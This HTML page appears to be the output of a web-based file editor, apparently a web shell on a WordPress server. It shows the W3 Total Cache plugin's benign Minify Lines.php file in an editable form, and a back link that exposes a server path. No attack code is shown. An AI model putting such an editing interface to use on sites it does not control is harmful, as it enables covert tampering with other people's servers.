<p style='color:red'>❌ domains folder not found.</p><h2>✏️ Editing: Lines.php</h2><form method='post'>
        <textarea name='content' rows='20' cols='100'>&lt;?php
/**
 * File: Lines.php
 *
 * NOTE: Fixes have been included in this file; look for &quot;W3TC FIX&quot;.
 */

namespace W3TCL\Minify;

/**
 * Class Minify_Lines
 * @package Minify
 */

/**
 * Add line numbers in C-style comments for easier debugging of combined content
 *
 * @package Minify
 * @author Stephen Clay &lt;steve@mrclay.org&gt;
 * @author Adam Pedersen (Issue 55 fix)
 */
class Minify_Lines
{

	/**
	 * Add line numbers in C-style comments
	 *
	 * This uses a very basic parser easily fooled by comment tokens inside
	 * strings or regexes, but, otherwise, generally clean code will not be
	 * mangled. URI rewriting can also be performed.
	 *
	 * @param string $content
	 *
	 * @param array $options available options:
	 *
	 * 'id': (optional) string to identify file. E.g. file name/path
	 *
	 * 'currentDir': (default null) if given, this is assumed to be the
	 * directory of the current CSS file. Using this, minify will rewrite
	 * all relative URIs in import/url declarations to correctly point to
	 * the desired files, and prepend a comment with debugging information about
	 * this process.
	 *
	 * @return string
	 */
	public static function minify($content, $options = array())
	{
		$id = (isset($options['id']) &amp;&amp; $options['id']) ? $options['id'] : '';
		$content = str_replace(&quot;\r\n&quot;, &quot;\n&quot;, $content);

		$lines = explode(&quot;\n&quot;, $content);
		$numLines = count($lines);
		// determine left padding
		$padTo = strlen((string) $numLines); // e.g. 103 lines = 3 digits
		$inComment = false;
		$i = 0;
		$newLines = array();

		while (null !== ($line = array_shift($lines))) {
			if (('' !== $id) &amp;&amp; (0 === $i % 50)) {
				if ($inComment) {
					array_push($newLines, '', &quot;/* {$id} *|&quot;, '');
				} else {
					array_push($newLines, '', &quot;/* {$id} */&quot;, '');
				}
			}

			++$i;
			$newLines[] = self::_addNote($line, $i, $inComment, $padTo);
			$inComment = self::_eolInComment($line, $inComment);
		}

		$content = implode(&quot;\n&quot;, $newLines) . &quot;\n&quot;;

		// check for desired URI rewriting
		if (isset($options['currentDir'])) {
			Minify_CSS_UriRewriter::$debugText = '';

			// W3TC FIX: Override $_SERVER['DOCUMENT_ROOT'] if enabled in settings.
			$docroot = \W3TC\Util_Environment::document_root();

			$docRoot = isset($options['docRoot']) ? $options['docRoot'] : $docroot;
			$symlinks = isset($options['symlinks']) ? $options['symlinks'] : array();

			$content = Minify_CSS_UriRewriter::rewrite($content, $options['currentDir'], $docRoot, $symlinks);

			$content = &quot;/* Minify_CSS_UriRewriter::\$debugText\n\n&quot;
				 . Minify_CSS_UriRewriter::$debugText . &quot;*/\n&quot;
				 . $content;
		}

		return $content;
	}

	/**
	 * Is the parser within a C-style comment at the end of this line?
	 *
	 * @param string $line current line of code
	 *
	 * @param bool $inComment was the parser in a C-style comment at the
	 * beginning of the previous line?
	 *
	 * @return bool
	 */
	private static function _eolInComment($line, $inComment)
	{
		while (strlen($line)) {
			if ($inComment) {
				// only &quot;*/&quot; can end the comment
				$index = self::_find($line, '*/');
				if ($index === false) {
					return true;
				}

				// stop comment and keep walking line
				$inComment = false;
				@$line = (string)substr($line, $index + 2);
				continue;
			}

			// look for &quot;//&quot; and &quot;/*&quot;
			$single = self::_find($line, '//');
			$multi = self::_find($line, '/*');
			if ($multi === false) {
				return false;
			}

			if ($single === false || $multi &lt; $single) {
				// start comment and keep walking line
				$inComment = true;
				@$line = (string)substr($line, $multi + 2);
				continue;
			}

			// a single-line comment preceeded it
			return false;
		}

		return $inComment;
	}

	/**
	 * Prepend a comment (or note) to the given line
	 *
	 * @param string $line current line of code
	 *
	 * @param string $note content of note/comment
	 *
	 * @param bool $inComment was the parser in a comment at the
	 * beginning of the line?
	 *
	 * @param int $padTo minimum width of comment
	 *
	 * @return string
	 */
	private static function _addNote($line, $note, $inComment, $padTo)
	{
		if ($inComment) {
			$line = '/* ' . str_pad($note, $padTo, ' ', STR_PAD_RIGHT) . ' *| ' . $line;
		} else {
			$line = '/* ' . str_pad($note, $padTo, ' ', STR_PAD_RIGHT) . ' */ ' . $line;
		}

		return rtrim($line);
	}

	/**
	 * Find a token trying to avoid false positives
	 *
	 * @param string $str   String containing the token
	 * @param string $token Token being checked
	 * @return bool
	 */
	private static function _find($str, $token)
	{
		switch ($token) {
			case '//':
				$fakes = array(
					'://' =&gt; 1,
					'&quot;//' =&gt; 1,
					'\'//' =&gt; 1,
					'&quot;.//' =&gt; 2,
					'\'.//' =&gt; 2,
				);
				break;
			case '/*':
				$fakes = array(
					'&quot;/*' =&gt; 1,
					'\'/*' =&gt; 1,
					'&quot;//*' =&gt; 2,
					'\'//*' =&gt; 2,
					'&quot;.//*' =&gt; 3,
					'\'.//*' =&gt; 3,
					'*/*' =&gt; 1,
					'\\/*' =&gt; 1,
				);
				break;
			default:
				$fakes = array();
		}

		$index = strpos($str, $token);
		$offset = 0;

		while ($index !== false) {
			foreach ($fakes as $fake =&gt; $skip) {
				$check = substr($str, $index - $skip, strlen($fake));
				if ($check === $fake) {
					// move offset and scan again
					$offset += $index + strlen($token);
					$index = strpos($str, $token, $offset);
					break;
				}
			}
			// legitimate find
			return $index;
		}

		return $index;
	}
}
</textarea><br>
        <input type='submit' name='content_save' value='💾 Save'>
        </form>
        <hr><a href='?go=%2Fhome%2Fmba%2Fpublic_html%2Fwp-content-20250804013034%2Fplugins%2Fw3-total-cache%2Flib%2FMinify%2FMinify'>🔙 Back</a>